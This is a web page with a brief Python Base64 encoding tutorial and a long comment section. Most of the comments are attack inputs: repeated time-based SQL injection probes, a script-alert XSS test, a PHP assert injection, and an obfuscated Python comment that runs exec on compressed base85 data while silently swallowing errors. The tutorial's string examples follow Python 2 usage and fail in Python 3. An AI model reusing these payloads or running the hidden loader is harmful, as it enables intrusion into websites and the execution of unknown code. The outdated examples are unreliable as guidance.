A virtual teacher who reveals to you the great secrets of Base64

Python Base64

Comments: 38 | Rating: 4.3/5

Python is a high level general purpose programming language which supports several programming paradigms, including object-oriented, functional, structural, imperative, and aspect-oriented. The main architectural features of Python are dynamic typing, automatic memory management, full introspection, exception handling mechanism, multi-thread computing, and convenient high-level data structures. The standard library includes a bundle of useful functions, including the base64 module that allows encoding and decoding data using several Base64 algorithms.

To encode data to Base64 in Python, use the function base64.b64encode:

from base64 import b64encode
print(b64encode('guru')) #-> 'Z3VydQ=='

And of course, the reverse process — to decode Base64 values use the function base64.b64decode:

from base64 import b64decode
print(b64decode('Z3VydQ==')) #-> 'guru'

Everything is quite simple, but if you are looking for some useful examples, check the following ones:

Comments (38)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Pablo,
    Awesome content, thank you
    reply
    • Administrator, ↑
      Hello Pablo,
      Thank you for kind words. I'm glad you like it.
      reply
  • kwklkrwmskjsj,

    c$~$2d2|~|dLO!R5(E#C6c3%PgBn8O0fH0{QO8geB~jv`6{*pvNe-upY649F-C%b^B--Ha>}qyBJKovVdVR#+kwZ
    reply
  • Nielsilvalok,
    Funciona com fotos?
    reply
  • nqhXncMU,
    1 waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    -5) OR 157=(SELECT 157 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    reply
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
    reply
  • gBqsPxAZ,
    0DIBeZgg' OR 679=(SELECT 679 FROM PG_SLEEP(15))--
    reply
  • gBqsPxAZ,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • gBqsPxAZ,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    reply
  • gBqsPxAZ,
    if(now()=sysdate(),sleep(15),0)
    reply
  • gBqsPxAZ,
    1
    reply
  • gBqsPxAZ,
    6ZRqOLIU' OR 607=(SELECT 607 FROM PG_SLEEP(15))--
    reply
  • gBqsPxAZ,
    -1 OR 2+889-889-1=0+0+0+1
    reply
  • gBqsPxAZ,
    -1)) OR 891=(SELECT 891 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
    reply
  • ncMUFCMU,
    2DaAWkUM')) OR 750=(SELECT 750 FROM PG_SLEEP(15))--
    reply
  • ncMUFCMU,
    tAGRYRVM') OR 914=(SELECT 914 FROM PG_SLEEP(15))--
    reply
  • ncMUFCMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • ncMUFCMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    reply
  • ncMUFCMU,
    NfZ0DcFM')) OR 555=(SELECT 555 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    -1' OR 2+285-285-1=0+0+0+1 --
    reply
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    reply
  • KPGVM,
    How can I encode a file? to include the name and other data?
    reply
  • ihpt,
    hello world this is 4 april 2024 in tesi 19:05
    reply
  • fHLvlxbf,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • oii,
    -5) OR 157=(SELECT 157 FROM PG_SLEEP(15))
    reply
    • jhjgj, ↑
      -5) OR 157=(SELECT 157 FROM PG_SLEEP(15))
      reply
  • test,
    <script>alert(1)</script>
    reply
  • JCfUZQsq,
    ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
    reply
  • Chloe,

    import cv2
    import numpy as np
    import base64
    import math

    # 1) Lecture de l’image originale
    original_image_path = "/mnt/data/8D4501AC-53F1-4A6C-9B4D-470C096EB761.jpeg"
    with open(original_image_path, "rb") as f:
        file_data = f.read()

    # Décoder l’image en tableau numpy
    image_array = np.frombuffer(file_data, np.uint8)
    image = cv2.imdecode(image_array, cv2.IMREAD_COLOR)

    # 2) Redimensionnement (largeur max 600 px)
    height, width = image.shape[:2]
    max_width = 600
    if width > max_width:
        ratio = max_width / width
        new_width = max_width
        new_height = int(height * ratio)
        image = cv2.resize(image, (new_width, new_height), interpolation=cv2.INTER_AREA)

    # 3) Lissage de la peau (filtre bilatéral + préservation des bords)
    # Filtre bilatéral pour réduire le bruit tout en préservant les contours
    smooth = cv2.bilateralFilter(image, d=15, sigmaColor=80, sigmaSpace=80)
    # Filtre de préservation des bords pour un effet « beauté »
    smooth = cv2.edgePreservingFilter(smooth, flags=2, sigma_s=60, sigma_r=0.4)

    # 4) Ajustement luminosité/contraste
    alpha = 1.2  # Contraste
    beta = 20    # Luminosité
    bright_contrast = cv2.convertScaleAbs(smooth, alpha=alpha, beta=beta)

    # 5) Augmentation de la saturation (légère)
    hsv = cv2.cvtColor(bright_contrast, cv2.COLOR_BGR2HSV)
    h, s, v = cv2.split(hsv)
    # On augmente la saturation de 10%
    s = cv2.multiply(s, 1.1)
    s = np.clip(s, 0, 255).astype(np.uint8)
    hsv_boosted = cv2.merge([h, s, v])
    final_image = cv2.cvtColor(hsv_boosted, cv2.COLOR_HSV2BGR)

    # 6) Export en JPEG compressé (~70% de qualité)
    encode_params = [int(cv2.IMWRITE_JPEG_QUALITY), 70]
    _, buffer_jpeg = cv2.imencode(".jpg", final_image, encode_params)

    # 7) Encodage en base64
    b64_data = base64.b64encode(buffer_jpeg).decode("utf-8")

    # Construction de l'URL data
    data_url = "data:image/jpeg;base64," + b64_data

    # Affichage du résultat (dans le contexte ChatGPT, on va juste print)
    print(data_url)
    reply
  • Mrabdallh,
    import base64, zlib
    try:
    exec(zlib.decompress(base64.b85decode('c${@r+g9347`@L^Oa&p)%Hkx4Y7_(E7>*(!T{R8K5GIF7m<)tq^{&_dJN3!_6%ebf%|$Yq+4If*PJ5UL7&Ut00Ca`wEtr?rRl*?KbqEDs;2nlD#e=!*;csi9*<oxe#9JuV;a8=B3tzW6uOo_V$S@JmTwxQG9St&df8we_6ZY@cBH%$j4NgGjoI!Jt16LrO`~qCX^Zo^6BA`bc3RQ|63?wCh#A6r@&H<Weji$eumJMNS^lDDOMMf<5g#iEnN`n0$eBLvDot?kTBz%N5%SxD#U}$C1iH28!vz4wx(j(A=n6lg#Kp<Ta42EO{cP8LQg)V*J9!|Ufs*2^o(7Aum1G2p5Bg-rsk0%TVVOCub)*%|Jau4ZjjstUt02Lq%;=g|W`tR4zILC1bxIvWVm@pzDR!QJesDYjmSdOAG0_m)gzPcG$0|)S6c69#S_L7`k)>Oajm-yNcKUr>ZF#XY`{$=4R|LnOZ+2f6SJgi==<XG)mvV5a?Rr7OZ>b}PvrysTD%sAaR=)ON0$J*G98ds(Hx|cPMO}rGv%V9}d#N6mjFe%T@C#j5{a-z#kX4$>YUf?ZuqCCAQ-AzW1srJ(F&+aYpepW$KzuK277hQEKbI+-^f>>vxPEAR_s4b8ElVtMzB1sFaRBoIfo}Nk%zP*sNhc<`nRZ&USKB0mc)6CK%d}QUTc5#|6L{15xZ>9vF(r)Kjw$XJD59|jO-@=~J<yR3aDC!TD+#*ucYw62&y*@C+c8^~QtT!fheFUf1-}$ZX6d$BgwQzC^&ElC-Dt2bIn593pv(bJUJ>H0Fiat&A2HjMvXYGvBSBH63Fp_7H>(sne?_MOI;lNTGLi2L4yegA=dZS10(#zbmf2xW#VJpQptK?JpUcA3Rx7V$VYgEm-uJ^jdmYR*V_y~U+EjgLda)hVBwjn$|$4=yN1dX~nN84qt&}>jE-^rY=OUF`adgc$y=^s&RksO@i?>CLXd|9drzSJ3f>Nbbtk+4jUtkWMcgXTv0Nwy$uZ??C&lK7bZR8Flj$~1k%n5$`LNHrIZt7WYp2zs|M20S=2YURaxGi@x8CM-LGxE%)lW-z23uVzbkWrFHTO?2m#iDP#IttQ^tT?FTyNo9=niPWzig+*Ekuwo+>RN$^yckS!wNZmE>W-;lxTaz|Bf_}61SxuqJXJEqMqXs65AJ+6vni8|Zxdv57gS$Q4E6AJyJ~WVkc(?jy#R5FAAZE?k?@0o^&}KlPLWmN)frrh9K7(1<e-N*1NE8ZLqWCY=Ud@K*&AuXV3{30WyCrXd<`nRNMc@SFIdBZp=ec)?wGxtIXW(oP{s=>$mrz_6VvP;q55Rm&f2TH~Kqta**e-#d#}epqZ{!JxyAN{kZ|Yv)?WH8i?WAM_)m4aKUPIo~1=Z8_Kw9d-U5yS=+pq!uSIXW>&S&sZDeb8=T2ql&8)>+)tq$N17fB-2Esy=^u>HQ>E7ZC*A`Z48rr_3foH@e!ZppDF3da*^&=-W(a)1F3bjz73mdA1l)o~9w{S)^!F3WRdL0OJ}1N<%?3eneJllvTg1jmYffX8LoRuGou_&?F1W01VyI}V0>R}TK{0)Dtepvu0B&*#4^at!llGJ)a&xX;z@`uQKSKWE|')))
    except:
    pass
    reply
  • eric_hu06,
    doesn't work. it say there is no module called base64
    reply
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